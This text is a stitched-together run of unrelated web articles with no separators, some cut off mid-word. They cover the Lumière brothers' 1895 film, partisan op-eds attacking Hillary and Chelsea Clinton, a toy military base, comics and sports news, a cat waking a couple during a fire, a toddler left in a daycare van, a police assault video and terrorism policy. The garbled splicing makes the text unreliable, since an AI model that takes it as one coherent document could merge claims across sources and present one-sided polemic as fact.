Last month, Mr. Calandra held an open house at the school to discuss the issue. Frustrated parents and neighbours aired their grievances about the smell and associated health concerns, Mr. Calandra said, but he tried to help them understand "not to confront [the homeowner]. He's doing what he's allowed to do."Workers Leaving The Lumière Factory in Lyon also known as Employees Leaving the Lumière Factory and Exiting the Factory, is an 1895 French short black-and-white silent documentary film directed and produced by Louis Lumière. It is often referred to as the first real motion picture ever made, although Louis Le Prince’s 1888Roundhay Garden Scene pre-dated it by seven years.
he film consists of a single scene in which workers leave the Lumière factory. The workers are mostly female who exit the large building 25 Rue St. Victor, Montplaisir on the outskirts of Lyon, France, as if they had just finished a day’s work.
Three separate versions of this film exist. There are a number of differences between these, for example the clothing style changes demonstrating the different seasons in which they were filmed. They are often referred to as the “one horse,” “two horses,” and “no horse” versions, in reference to a horse-drawn carriage that appears in the first two versions (pulled by one horse in the original and two horses in the first remake).
This 46-second movie was filmed in Lyon, France, by Louis Lumière. It was filmed by means of the Cinématographe, an all-in-one camera, which also serves as a film projector and developer. This film was shown on 28 December 1895 at the Grand Café on the Boulevard des Capucines in Paris, along with nine other short movies.
As with all early Lumière movies, this film was made in 35 mm format with an aspect ratio of 1.33:1, and at a speed of 16 frames per second. At that rate, the 17 meters of film length provided a duration of 46 seconds, holding a total of 800 frames.
Given its age, this short film is available to freely download from the Internet. It has also featured in a number of film collections including Landmarks of Early Film volume 1, The Movies Begin – A Treasury of Early Cinema, 1894–1913 and The Lumière Brothers’ First Films.
The film has been known by a large number of alternative titles in France and the United States over the years since its production including La Sortie des Usines Lumière à Lyon-Montplaisir, Sortie de l’Usine Lumière, La Sortie des Usines, Les ouvriers et ouvrières sortant de l’Usine Lumière, Employees Leaving the Lumière Factory, Leaving the Factory, Workers Leaving the Lumière Factory, Lunch Hour at the Lumière Factory, Dinner Hour at the Factory Gate of M. Lumière at Lyon, Exiting the Factory, La Sortie des ouvriers de l’Usine LumièrThe Clinton campaign alongside the establishment media have begun blowing the Vladimir Putin dog-whistle, just as their European counterparts did during the United Kingdom’s referendum on its membership of the European Union (EU).
Almost as if on cue, news outlets have begun parroting the same old lines used by Britain’s political establishment before June of this year, when they accused anti-establishment ‘Leave’ campaigners of doing the bidding for, if not being directly linked to, the Russian president and the Kremlin.
From questioning the marriage of one of the key donors to the Leave campaign, to using Britain’s public broadcaster to float conspiracy theories about Russian influence, the Cold War-esque scare tactics of ‘Reds Under the Bed’ not only reveals the lack of originality in the Clinton camp, it reveals hypocrisy, foreign policy flippancy, and perhaps even a serious misestimation of where the public stands on the issue.
In the run up to the Brexit referendum, U.S. outlets even went as far as to call Mr. Putin’s (lack of) interventions “meddling“. The same charge was never levelled by the media at U.S. President Barack Obama when he flew to the United Kingdom and lectured Britons on how they should vote. In fact, he threatened the country’s economy and trade position in the world if they refused to follow his advice. But this was deemed appropriate.
Meanwhile, the Kremlin and Mr. Putin were broadly absent from the debate, possibly because they knew full well the ‘Remain’ camp would use any public pronouncements against the Leave camp, but also because they are unlikely to have had a clear-cut position on the issue. Mr Putin is a grand strategist and could have dealt with either outcome. The U.S. establishment, however, has all of its eggs in the globalism basket.
In March a Kremlin spokesman said: “Russia is being dragged into the domestic debate on Brexit. Why is the wicked Russia thesis used to explain a Government policy?”
“We’d like the British people to know that those pronouncements have nothing to do with Russia’s policy,” the embassy said. “As a matter of fact, our Government doesn’t have an opinion on Britain’s place in the EU.”
Despite this far less “meddling” tactic, links to Russia were one of the most consistent messages of the ‘Remain’ campaign’s ‘Project Fear’ strategy to keep Britain in the European Union. Even the Prime Minister at the time, David Cameron, invoked the threat of Russia to try and convince Britons to stay in.
HYPOCRISY
The Clinton campaign’s briefings on how Donald Trump is “Helping Putin Consolidate Control of Ukraine“, and how Russia is “meddling in U.S. election” (there’s that word again) are Project Fear 101. The journalists willfully writing up these stories are ignoring critical points; such as how Secretary of State Clinton’s connections with the Kremlin and Russian oligarchs helped Russia buy up U.S. uranium interests. The New York Times reported in April 2015:
“At the heart of the tale are several men, leaders of the Canadian mining industry, who have been major donors to the charitable endeavors of former President Bill Clinton and his family. Members of that group built, financed and eventually sold off to the Russians a company that would become known as Uranium One.”
This is barely scratching the surface, as Clinton Cash author Peter Schweizer wrote in the Wall Street Journal in July:
“In May 2010, the State Department facilitated a Moscow visit by 22 of the biggest names in U.S. venture capital—and weeks later the first memorandums of understanding were signed by Skolkovo and American companies. “By 2012 the vice president of the Skolkovo Foundation, Conor Lenihan—who had previously partnered with the Clinton Foundation—recorded that Skolkovo had assembled 28 Russian, American and European “Key Partners.” Of the 28 “partners,” 17, or 60%, have made financial commitments to the Clinton Foundation, totaling tens of millions of dollars, or sponsored speeches by Bill Clinton.”
Nevertheless, you will likely find more references to Putin and Trump in the past week alone than you will to these dubious affairs in their totality.
Indeed arch-establishment mouthpiece, Legatum Institute leader, and all-round George Soros activist Anne Applebaum went so far as to declare Donald Trump “a Russian oligarch” in the Washington Post this week.
Ms. Applebaum is married to the U.S.-hating former Polish foreign minister whose party was turfed out by a populist, nationalist revolt last year. They are now being assisted by Mr. Soros and his third party groups in their bid to destabilise the new Polish government, using the European Union and indeed the Clintons too. This, however, has not proved popular with U.S.-based Polish expats.
And perhaps far worse than her connections to the Kremlin – a relationship which has evidently soured in recent months – are her connections to the fascist, authoritarian, pseudo-monarchical, Islamist dictatorship in Saudi Arabia. In 2015 the WSJ reported:
“…the Kingdom of Saudi Arabia, has given between $10 million and $25 million since the foundation was created in 1999. Part of that came in 2014, although the database doesn’t specify how much.”
But few column inches or broadcast air minutes are used to discuss these matters.
FOREIGN POLICY FLIPPANCY
In drafting in Russia as a talking point, Mrs. Clinton makes it very difficult for her to deal with President Putin and the Kremlin should she find herself in the Oval Office in 2017.
Her campaign’s claims that Mr. Trump is somehow untrustworthy because he wants to work with Mr. Putin, not against him, is difficult to take seriously given her lauding of Russia as “an ally” in 2012:
She said, in an attempt to mock then-GOP presidential candidate Mitt Romney, who called the country America’s greatest geopolitical foe:
“Russia has been an ally. They’re in the P-5+1 talks with us, they have worked with us in Afghanistan and have been very helpful in the Northern Distribution Network and in other ways. So I think it’s somewhat dated to be looking backwards instead of being realistic about where we agree, where we don’t agree, but looking for ways to bridge the disagreements and then to maximize the cooperation”.
In March 2010 she said:
“One of the fears that I hear from Russia is that somehow the United States wants Russia to be weak. That could not be farther from the truth. Our goal is to help strengthen Russia.”
Even in Ukraine the picture is less clear than U.S. journalists would have you think. Pew (2015) showed:
“Western Ukrainians are much more likely to say Russia is the sole culprit (56%), while those in the east see the problem as more complicated. A third of Ukrainians in the east think Russia is primarily to blame, but 36% fault more than one of the groups. “Roughly half of Ukrainians (47%) believe Russia is a major military threat to other neighboring countries. Another 34% say the former Cold War power is a minor threat. Western Ukrainians are much more concerned about Russia’s territorial ambitions (61% major threat) than those in the east (30%).”
This is a drastically different scenario from the one portrayed in the U.S. media, which usually comes down to “Russia bad. Everywhere else good”. But even the American people are growing weary of this slant.
Pew (2016) demonstrated that while U.S. public opinion towards Russia slumped in 2014 around the time of the Crimea annexation, those numbers have now halved. People don’t view Russia as an outright adversary, though they are perhaps rightly wary of its status as a geopolitical competitor.This Mechanical army is ready to rumble with the barbarians...
GROUND FORCES
T-14 Armata Tank: 29
Type 10 Tank: 11
BTR-80A: 37
M2 Bradley IFV: 15
Sherman Tank: 4
Trucks: 20+
Oshkosh Wrecker: 2
M1 Assault Breacher: 2
ARTILLERY
M-777 howitzer: 16
M109 howitzer: 17
9A52-4 Tornado Rocket Launcher: 17
AIR FORCES
AH-64 Apache Attack Helicopter: 6
Ka-50 Black Shark Attack Helicopter: 14
CH-47 Chinook: 6
* All units ROLL OUT! This is OPERATION SAFEGUARD, defend the fort against the savages! *
Overview of the military complex, which has roads for vehicles to travel upon to different parts of the base where help is needed.
Includes an airbase with helicopters.
Steve's friend's house is heavily guarded with an iron bar fence and next to an depot, he has access to a water well, a fire stove and a farm for his needs.
Tall buildings are used to house the troops, medical facilities,etc.
There are cranes working on an expansion to the fort.
T-14 Armata
BTR-80A
Ka-50
Rocket Launcher
AH-64 Apache
M-777 Howitzer
M2 Bradley IFV
Army Truck
CH-47 Chinook
Assault Breach Vehicle
M-109 Howitzer
Sherman Tank
Type 10 Tank
Oshkosh WreckerCredit: Marvel Comics
Credit: Sara Pichelli (Marvel Comics)
Six years after the first meeting of Marvel U Peter Parker and then-Ultimate U Spider-Man Miles Morales in Spider-Men, writer Brian Michael Bendis said a sequel is coming this summer - and is unconnected to the similiarly-premised Generations. In an interview with Ultimate Spin, Bendis said that he will "delve into what the relationship between Peter and Miles is."
"I had a year to establish what Miles is in the 616. Peter didn't plan on there being a bunch of Spider-Man characters, and their responsibility is becoming his responsibility... or is it? That's a big part moving forward."
Bendis goes on to say that the as-yet-untitled follow-up to Spider-Men will answer all the questions people have had about Peter and Miles' connection, including who knows about Miles' coming from the now-dead Ultimate Universe after Secret Wars.
"I get questions about this all time time - it's so flattering. Five years since the original Spider-Men miniseries with their first team-up," said Bendis. "Good news is that we're going to answer all the questions about Peter/Miles. The eight months of Miles in the 616, everything. All will be answered this summer."
That would seemingly include the whereabouts of the Marvel U version of Miles Morales that Peter Parker googled and was shocked by what he found - something Bendis has yet to follow up on, before or after the Ultimate Miles came to the Marvel U with Secret Wars.
"There is this Spider-Man movie coming out, and this big Spider-Man project describing all these things. I've been teasing it on my end, and we'e ready to tell that story. The time has come, and this summer is the time to tell it."
Bendis confirms that it will be seperate and "on top of" the Generations story about Miles and Peter that he and Ramon Perez are working on.
It is unknown if Miles Morales co-creator Sarah Pichelli is returning for this Spider-Man sequel.On Chelsea Clinton
Matt Bruenig Blocked Unblock Follow Following Mar 16, 2017
Rumors are that Chelsea Clinton is gearing up to run for office. This is troubling news insofar as it might keep the Clinton machine and its hangers-on in politics. It also seems like a questionable idea insofar as Chelsea Clinton is a nepotist legacy case whose whole career to this point has been hopping from one dodgy patronage job to another, not exactly the ideal image for the Democratic party.
McKinsey (2003–2006)
After graduating high school, Chelsea goes to Stanford and gets a degree in history and then goes to Oxford and gets a degree in international relations. So far, so banal.
But after Oxford, Chelsea Clinton signed up with McKinsey, a consulting company known as an elite business training corps. She was the youngest in her class, hired at the same rank as those with M.B.A. degrees. Her interview was more like a conversation, said D. Ronald Daniel, a senior partner. “That’s why she was a good consultant, because we are professional question-askers and professional listeners,” Mr. Daniel said. — NYT
Despite having no background in business, statistics, or any other related field, Chelsea gets hired by McKinsey straight out of Oxford alongside elite business school graduates. The interview process for that was “more like a conversation.”
Avenue Capital Group LLC (2006–2009)
After 3 years at McKinsey, Chelsea moves on to Avenue Capital Group LLC, a hedge fund run by Marc Lasry. The NYT describes Lasry as “a loyal donor to Democratic causes generally, and Clinton-related ones specifically.” Bloomberg describes Lasry as “close to the Clinton family and a long-time donor to Democrats.”
IAC (2011-Present)
After a few years at the hedge fund, Chelsea decides to go back to school and pursue a doctorate at Oxford remotely from New York. While in graduate school, Chelsea becomes a board member for the media company IAC (I, II). For her efforts, she is paid $50,000 per year and given $250,000 in stock.
IAC is controlled by Barry Diller who, along with his wife Diane von Furstenberg, is a major Clinton donor and family friend. Chelsea, along with her husband, failed hedge funder Marc Mezvinsky, has been spotted on luxurious vacations with Diller and von Furstenberg, including in 2015 when the whole crew went snorkeling on Diller’s yacht in Sardinia.
Here’s how the NYT describes this board position:
But let’s be real. Ms. Clinton has this position only because she is the daughter of former President Bill Clinton and Hillary Rodham Clinton, the current secretary of state. This is clearly an appointment made because of who she is, not what she has done, one that defies American conceptions of meritocracy. Even most celebrity directors earn their way to such celebrity — sort of.
Chelsea is still on the board of IAC.
Clinton Foundation (2011-Present)
At the same time as she was getting a graduate degree from Oxford and sitting on IAC’s board, Chelsea had the honor of being selected for the board of the Clinton Foundation, where she is now Vice Chair.
NBC (2011–2014)
While on the IAC board, the Clinton Foundation board, and getting a graduate degree from Oxford, Chelsea somehow managed to get a job at NBC as a “special correspondent.” For this job, she got paid $600,000 despite producing less than 23 minutes of aired content. As Business Insider notes, this means Chelsea “earned about $26,724 for each minute she subsequently appeared on air.”
Expedia (2017-Present)
On March 16, 2017, Expedia created a new seat on its board of directors and then gave it to Chelsea. For this, she will be paid $45,000 per year and given $250,000 of stock.
Expedia used to be a property of IAC, a company where Chelsea is also on the board. It was spun off as a separate company in 2005. Close Clinton family friend Barry Diller (also of IAC) is the chairman of the Expedia board and a senior executive there.
Tax Sheltering Her Inheritance
If getting every job she ever had (most of which do not even appear to be real jobs) because of who her parents are was not enough, Bill and Hillary has made sure that the huge fortune they grifted over the years will pass to her with as little tax taken out as possible.
Bloomberg explains the shenanigans:
The Clintons created residence trusts in 2010 and shifted ownership of their New York house into them in 2011, according to federal financial disclosures and local property records.
Among the tax advantages of such trusts is that any appreciation in the house’s value can happen outside their taxable estate. The move could save the Clintons hundreds of thousands of dollars in estate taxes, said David Scott Sloan, a partner at Holland & Knight LLP in Boston.
“The goal is really be thoughtful and try to build up the nontaxable estate, and that’s really what this is,” Sloan said. “You’re creating things that are going to be on the nontaxable side of the balance sheet when they die.”
Rethink This
You could not put together a more unappealing force in the world than what Chelsea Clinton represents, personally or politically.
Updated on 3/17/2017 to include Expedia board membership.Mr. Big Shot is heading for the small screen.
SI.com has learned that Chauncey Billups has been hired by ESPN to work as a studio analyst for the upcoming NBA season. Billups will appear on NBA Tonight, SportsCenter, NBA Coast to Coast and ESPN Radio, among other ESPN properties.
“With my experience and passion for the game, I think I can spark interest with viewers,” Billups said in an interview with Sports Illustrated on Tuesday. “I think I have a unique perspective.”
Billups will start in the studio but said he has interest long-term in learning how to be an analyst on game broadcasts. He is based in Denver and will travel to Bristol throughout the season.
Dubbed “Mr. Big Shot” for his icy cool in late-game situations, Billups played last season for the Detroit Pistons, who declined to pick up the team option on his contract for 2014-15. He announced his retirement in September after 17 NBA seasons, citing his inability to stay healthy having played only 61 games over the past three seasons.
“I’m the kind of guy who has to be two feet in if I am going to give my best effort so broadcasting is something I looking at long-term,” said Billups, 37. “This is what I want to do and the avenue I want to take. At the moment, I’m not thinking about working in an NBA front office or coaching or anything else. I’m thinking about being the best I can be at ESPN in the studio.”
Billups said he’s been interested in broadcasting for a couple of years and made it a point to do guest interviews when he could as his career closed. Asked if he could be critical of players and coaches in the league, including many who are his friends, Billups said, “There is a good and a bad way to handle everything. The kind of leader and teammate that I was, at every stop I made I was always honest with guys and honest with myself. I think that was the reason I grew to have the reputation I had in the league. It won’t be any different to be honest about a guy’s performance. That’s not anything I’m worried about. It’s not going to be personal and I’m not going to bash their personal character. But I will talk about their game if they are not performing to a certain standard."
Billups was a five-time All-Star whose career apex came in 2004 when he won the NBA Finals MVP after leading the Pistons to an NBA title over the Lakers. He played 17 NBA seasons, including stops with Boston, Toronto, Denver, Minnesota, New York and the Los Angeles Clippers in addition to Detroit.
On the subject of LeBron James’ return to Cleveland, Billups said it was not far-fetched to believe that the Cavs could win a title immediately.
“It’s possible,” Billups said. “You have to have talent, you have to have a leader that can command respect from everyone, and you have to have someone who has been there before and they have that. My concern would be the playoff inexperience of the other two studs in Kyrie Irving and Kevin Love. Neither one of those guys have played a playoff game but they have played in big games. They have both played in World Championships. But one game in the World Championships is different than playing the same team for two weeks straight in a series. Big difference. But they have a chance. Chicago and them are the two favorites in the East and if D-Rose (Derrick Rose) is not 100 percent and can’t be the D-Rose we all fell in love with, Cleveland wins the East. And if you get to the finals, you have a chance."
A heroic cat helped save an Oklahoma couple by waking them up in the middle of the night to warn them their house was on fire. Screen capture/ 3 News Now/YouTube
Aug. 11 (UPI) -- A family in Oklahoma said their cat helped save them during a house fire by warning them about the blaze.
The Bellevue couple and their two cats made it safely out of the burning home, as fire crews arrived at the scene at about 12:20 a.m. on Wednesday.
Bellevue Fire Department Battalion Chief Steve Wagner said the husband told him one cat hopped on his chest to wake him up and he then looked down the hallway where he spotted the bright orange glow of the flames.
The man promptly woke up his wife and the couple sprinted outside the house where firefighters soon arrived and quickly extinguished the blaze.
Firefighters said the fire was likely started by a lit cigarette that was discarded into a coffee can and set the front porch aflame before spreading through the siding and overhead to the attic.
Fire officials said the smoke detector in the couple's kitchen didn't have a functioning battery, so the family was lucky the cat woke them up before the flames reached the area over the couple's bedroom and collapsed the roof.
"That cat probably heard something, checked it out and thought, 'Where is everybody and why are we still here?'" Wagner said.
The fire caused significant smoke and water damage to the first floor of the home, but the couple and their two cats were unharmed.Readers of US Weekly might have had some sticker shock when they saw a headline yesterday breaking the news that Ann Romney's debate-night dress retails for $1,690.
But it turns out Michelle Obama's debate ensemble cost twice as much.
The US Weekly piece went on to report this, but somehow the Obama outfit pricetag was not mentioned in the headline.
That headline read: "Ann Romney Wears $1,690 Oscar de la Renta Dress to Presidential Debate"
The announcement might have fit well with President Obama's references during that debate to the Romney family's enormous wealth. The president joked at one point that he doesn't look at his own pension, because it's not as big as Romney's.
But both families, it turns out, can afford very nice clothes.
While Ann Romney was sporting a "short-sleeved crimped cotton silk dress by Oscar de la Renta," that is not yet in stores, as US Weekly reported, the first lady was wearing a "hot pink" outfit of her own -- that together cost $3,290.
"Obama, 48, styled a shift dress and cropped jacket from Michael Kors' 2013 resort collection. The dress retails for $1,795 and the jacket is $1,495," the magazine reported.
The pink dresses were in honor of Breast Cancer Awareness month.Mom says 2-year-old girl left in daycare van for hours in Chapel Hill Copyright by WNCN - All rights reserved Video
CHAPEL HILL, N.C. (WNCN) - A daycare worker has been fired after a Chapel Hill mom told police that her toddler daughter was left in a preschool daycare van for several hours during a record-breaking hot day Tuesday.
The incident was reported at 6:42 p.m. in the parking lot of the daycare at 825 N. Estes Drive in Chapel Hill, according to a police report.
The van belongs to the preschool called Operation New Life Child Development Center in Chapel Hill.
The mom, Kimberly Cates, told WNCN that her 2-year-old daughter was in the van from around 8:45 a.m. to 3 p.m. when the temperature was nearly 100 degrees on Tuesday.
The young girl is in good condition but was dehydrated after the incident, Cates told WNCN. The girl also has bruises from struggling to free herself from the van seat.
"It breaks my heart because I didn't know and I couldn't do anything. My baby was suffering and I couldn't do anything because I didn't know," Cates said.
After Cates discovered the incident, she said the daycare workers tried to convince her not to report the incident.
Cates told WNCN that she was offered discounted daycare and a possible job at the business by the daycare director.
"He said, after you get done with the doctor's office, please call us. Don't call anybody else. We'll get through this together," Cates said. "Because I feel like they were trying to cover themselves."
Cates now questions about how the entire incident was handled.
"Why didn't you call 911 afterwards? Why didn't you call the authorities? Why didn't you call me? They waited from 3:30 when they found her til 5:00 to call me. That's not all right," Cates said.
The day care, contacted by WNCN on Wednesday afternoon, released a statement through its attorney.
"The individual responsible for this incident failed to perform her duties and avoided several safety checks built into company policies to ensure the safety of the children," part of the statement said.
Chapel Hill Police said they are still investigating the incident.
Here is the full text of the Operation New Life Child Development Center statement from the law office of Matthew Charles Suczynski:
"Yesterday afternoon, June 16th, 2015, there was an incident involving one of the children in our care. When the administration and staff at Operation New Life became aware of the situation we took immediate action to tend to the child in need as well as alerting the parents of the child.
"Be assured the safety and care of the children entrusted to us is our highest priority. The individual responsible for this incident failed to perform her duties and avoided several safety checks built into company policies to ensure the safety of the children.
"The administration has addressed the break down in policy by implementing a new reformed policy that will require more than one person to be responsible for a specific duty and strengthen the safeguards involved to ensure that nothing like this ever happens again. The individual was terminated immediately upon learning what had happened. Also the ownership, staff and administration of Operation New Life is cooperating fully with State and local authorities as they investigate this matter."The Firefly 10th anniversary special is inching closer to air and EW.com has the exclusive first clip from the Science Channel program’s roundtable discussion. Below is a scene where star Nathan Fillion explains what the crew of the Serenity means to Captain Malcolm Reynolds (touching, and an unsurprisingly Reynolds-centric worldview).
Several Firefly cast members will take the stage at New York City’s Comic-Con tomorrow at 6:15 p.m. for a panel titled “Firefly Tenth Anniversary Special Event: First Look.” EW’s own Kyle Anderson will moderate the panel (I would give you Kyle’s Twitter handle, but as he points out, he’s the only entertainment reporter in America who’s managed to escape Twitter’s gravitational pull). Plus, look for NYCC coverage on EW.com this weekend from Darren Franich.
The Science Channel’s Browncoats Unite special airs Nov. 11 at 10 p.m. The one-hour program taped this summer in a hotel in San Diego when the cast was on hand for SDCC (and you remember how Firefly-gasmic that panel was, right?). The roundtable special, like the SDCC panel, is moderated by EW’s Jeff Jensen. Here’s your clip:
Read more:
The 26 best cult TV shows ever
Nathan Fillion’s Comic-Con photo diaryHeinrich Haussler will forgo the defence of his Australian national title next month with the IAM Cycling rider instead focusing on the early-season European classics. Last December Haussler spent several weeks training in Victoria with his teammates to prepare for the challenging circuit race but will remain in Europe for the winter. Related Articles Once German, Haussler now Australian champion
Pro bike: Heinrich Haussler’s Scott Foil
A new year, a new outlook for IAM Cycling's Heinrich Haussler
"I love this jersey but for 2016 I just can't fit defending my title into my program because I really want to concentrate on the Classics, but I will be back in 2017," said Haussler in a statement from Cycling Australia.
Haussler won the green and gold jersey having got the better of Caleb Ewan (Orica-GreenEdge) in a sprint from the day's major breakaway. It would be the the only win of the season for the 31-year-old who had his Giro d'Italia ambitions hindered after a heavy crash on the first road stage.
"I'll never forget that day and riding in the Aussie colours in 2015 is also something I'll never forget. Every training ride I did this year, when I went to put on the Aussie champion kit, it was really a special feeling," Haussler said.
Haussler has finished second at both Milan-San Remo and the Tour of Flanders and sixth at Paris-Roubaix. Having shared the Classics leadership with Sylvain Chavanel in recent years at IAM Cycling, Haussler is likely to have greater support during the spring as he looks for his first European win since the 2014 Bayern Rundfahrt.
IAM Cycling are likely to be represented by Leigh Howard and David Tanner in the men's road race.
The Australian national championships are held in Buninyong, Victoria with the men's and women's road races both held on January 10.Speculation has already begun as to whom Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE might pick as a running mate if she becomes the Democratic Party’s presidential nominee in 2016.
Clinton was asked point-blank about the issue during a recent public forum in New York City, with a Massachusetts senator and President Obama’s nominee as the next Secretary of Housing and Urban Development (HUD) posited as contenders.
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"Were you to run for president in 2016," ABC News' Robin Roberts asked, "would you consider Elizabeth Warren Elizabeth Ann WarrenSanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' House to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE or Julian Castro for your running mate?"
Clinton wouldn't concede she was running, but she did praise Warren and Castro.
"They're both extraordinary leaders and great political advocates for a lot of what needs to be done in our country, and I admire both of them greatly," she said.
There are almost two-and-a-half years to go before Election Day, but Warren and Castro are only two of several clear players who have already emerged as possible running mates for the former Secretary of State.
1. Maryland Gov. Martin O'Malley
Many Democrats believe O’Malley will run for president if Hillary decides not to do so. If she goes ahead, O’Malley is seen as a strong contender for the Number Two spot on the ticket.
“Given all of the press he’s generated over the last six months or so, he is obviously aiming to raise his profile,” said strategist Jim Manley, a former spokesman for Senate Majority Leader Harry Reid (D-Nev.).
O’Malley is described by supporters as a charismatic and strong executive. But he also offers some drawbacks.
One: Doubts over whether he is truly willing to play second fiddle. Another: he is from Maryland.
“What he doesn’t bring to the table is a swing state that might otherwise not be in play,” noted Rep. Gerry Connolly (D-Va.).
Others say that geography gets too much attention in the media.
Phil Singer, who worked for Hillary Clinton’s 2008 presidential campaign, said that executive or legislative accomplishment would be top factors in Clinton’s pick, if she were to run and win the Democratic nomination. Race, gender and region would take a secondary role, he suggested.
Singer noted that Vice President Biden comes from Delaware while his predecessor, Dick Cheney, hails from Wyoming. “Hardly big swing states,” Singer said.
2. Sen. Mark Warner Mark Robert WarnerHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Addressing repair backlog at national parks can give Congress a big win MORE (D-Va.) or Sen. Tim Kaine Timothy (Tim) Michael KaineTrump claims Democrats ‘don’t mind executing babies after birth’ after blocked abortion bill Democrats block abortion bill in Senate Trump unleashing digital juggernaut ahead of 2020 MORE (D-Va.)
Virginia’s two senators are both former governors of the crucial swing state.
“Mark is slightly to the right of Tim on some issues but they both have extraordinary executive-level achievements in a hard-to-govern state. And they are both terrific people,” Rep. Jim Moran, another Democrat in the Virginia delegation, said.
Moran said that Warner may very well want to be president in his own right, but only if Clinton steps aside.
“I don’t think he would ever run against Hillary but I think he would be more than happy to team up with her, as would Tim,” Moran said.
Strategists said that Warner has advantages as a fundraiser but, because of his involvement in deficit-cutting efforts like the Gang of Six, he is distrusted by some liberals.
“Progressives don’t think Social Security should ever be on the table,” Charles Chamberlain, executive director at Democracy for America, said when asked about Warner.
Kaine, the less controversial of the two, could be the sleeper candidate for veep that wins out.
“Obviously starts on the top of any list,” said Chris Lehane, a consultant who led Al Gore’s 2000 vice presidential search.
3. San Antonio Mayor, HUD nominee Julian Castro
Castro is generally seen as having massive potential but needing more time to establish his credentials.
“Castro is incredibly talented. Obviously, being Latino, he can help with the single most important dispositive voter cohort in the
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Video
April 09, 2015 "
ICH
" - "
RT
" - A Texas woman has accused a cop of beating her when she was 38 weeks pregnant. Thanks to a surveillance system in her parents’ home, a video has been published online that appears to prove her allegations. An investigation is under way.
The Hunt County sheriff’s deputy has been identified as one of several officers who stood in the woman’s home in Quinlan on the evening of March 4. Two officers can be seen keeping Deanna Robinson in the corner of her kitchen, next to the counter, restraining her, as her 18-month-old toddler watched.
Next, the deputy can clearly be seen taking at least two quick punches at Robinson, who wouldn’t stop yelling. This was after she shouted, “I’m pregnant.” She was handcuffed during this, she told the attorney’s office on Monday, according to WFAA.
Robinson, 38, is a decorated Air Force veteran and recipient of the Airman’s Medal for the time she pulled her colleagues out of a burning plane in Iraq. She now lives in Quinlan, with another infant and three step children, aged six to nine. But her marriage had been undergoing a turbulent period lately, which culminated in a shoving match with her husband several days prior to the incident.
Apparently, one of the kids told a teacher at school, who then reported the couple to Child Protection Services.
She was arrested on March 4 on charges of resisting arrest, assaulting a police officer and interference with child custody, and spent some six days in jail.
The court case was over her 18-month-old son, Landry. The rest of the children are now in protective custody, while the infant son, Levi – who was born less than a week after her release from custody, is with grandparents.
That evening, child services officials showed up at Robinson’s home, accompanied by sheriff’s deputies, to take Landry away.
"I'm 38 weeks pregnant, and with my stomach again repeatedly pressed into that counter, and with my 18-month old son watching his mother be assaulted, and him screaming in fear," she says. "There's nothing that warrants what they did to me."
She remembers the officers telling her ‘We’re here to remove your son,’ and her replying, ‘Nobody is touching my kid without a court order or a warrant.’ The officers reportedly did not present any papers and, when she tried to shut the door on them, forced their way in.
She tells WFAA: “I’m positioning myself in front of my child as the officers are screaming, ‘There’s the kid, grab him!’” That’s when they proceeded to handcuff her as she was pressed up against the kitchen surface.
The police, however, had a different narrative to the story: that Robinson was reaching for a weapon. The evidence will be reviewed to establish the truth. The sheriff later told reporters he was not sure what went down, but that the unidentified deputy said Robinson had loosened his ammunition belt in the chaos.
In the video, Robinson can be seen struggling with the officers, something she only says she did because the pressure they were applying when pressing into her was hurting her unborn child.
She later told reporters the officers hit her five or six times. The video cuts off just before the deputy’s hand comes down on her a second time. Robinson also reported lingering pain for weeks, and her stomach appears to show bruising from the incident.
She’s thankful Levi is a healthy child. “It certainly could have turned out differently.” She says she misses her kids very much and that she’ll be pushing for the officer responsible for hitting her repeatedly to be fired.
Dozens of calls came to the sheriff’s department following the release of the video. Hundreds of concerned citizens also posted on the department’s Facebook page, voicing outrage, while the town of Quinlan also saw people go out on to the streets, encouraging others to view the video.
The sheriff department’s Facebook page showed a statement from Sheriff Randy Meeks, saying that all such cases are handled with the utmost seriousness and that an investigation is under way to determine “if any violations occurred.” He promised to make the findings public.
Robinson’s attorney Carol Gustin told reporters “There’s no reason in my mind that an officer should pull his hand up above his body and hit a pregnant woman multiple times. Law officers are there to protect and serve. Where was the protection for her and this baby?"
Her other attorney, Scott Cornuaud, believes Child Protective Services is to blame for involving the police at all. “They’re out of control. There’s no oversight. They went about it the wrong way.”
CPS was onsite when the incident with the police took place. Cornuaud wonders why they did not intervene when a pregnant woman was being hit.Earlier this week, Osama bin Laden praised the Christmas Day attack in which a Nigerian-born man living in London attempted to blow up a Detroit-bound airplane by igniting explosives in his underwear.
Mr. bin Laden’s endorsement, along with recent attacks in Baghdad, raise concerns about a new round of attacks against the United States. Politicians, security experts, and pundits have therefore called for heightened security measures at airports and on airplanes.
It won’t work without addressing why there are attacks to begin with.
Additional security measures may prevent a few attacks, at least until terrorists learn to circumvent the new policies. But these measures will have little lasting impact, as with many past tactics, because they do nothing to reduce the demand for terrorism against the US.
If the desire to engage in a certain activity is not reduced, attempts to raise the costs (such as harsher punishment) of such an activity do not matter much.
Consider the evidence from existing policies toward drugs, prostitution, and immigration. In each case, policy tries to ban or limit the activity, hoping to raise the costs of supplying it. Meanwhile, minimal effort is exerted to reduce the demand for intoxication, sex, and a higher income.
The net result is that drugs and prostitution are widely available and the US is home to at least 9 million illegal immigrants. Sure, existing laws may reduce these activities somewhat, but the net impact appears to be minor.
Why?
Desire often trumps law. And it’s just too easy to get around the law. Illegal drugs and immigrants can enter the country along lengthy borders and via sea, air, or land routes. Purveyors of prostitution services have endless means for avoiding even the most robust enforcement effort, from massage parlors to escort services to Internet sex.
Thus governments cannot substantially reduce drug use, prostitution, or immigration by raising the penalty (supply costs): If demand is strong, underground markets will accommodate it. Whether policy should attempt to reduce these demands is a different question. Regardless, policies that only address the supply side cost a lot and afford minimal results.
What does this mean for antiterrorism policy? The same conditions that undermine supply-side policies against drugs, prostitution, and immigration apply here.
There are too many potential terrorist targets and too many ways for terrorists to innovate their tactics for the US government to seriously tackle them all in a meaningful way.
But while not everyone in the US agrees that the drug trade, prostitution, and immigration are something that should be addressed, all Americans want to reduce the number of people or organizations that seek to commit terrorist acts against the US – the demand.
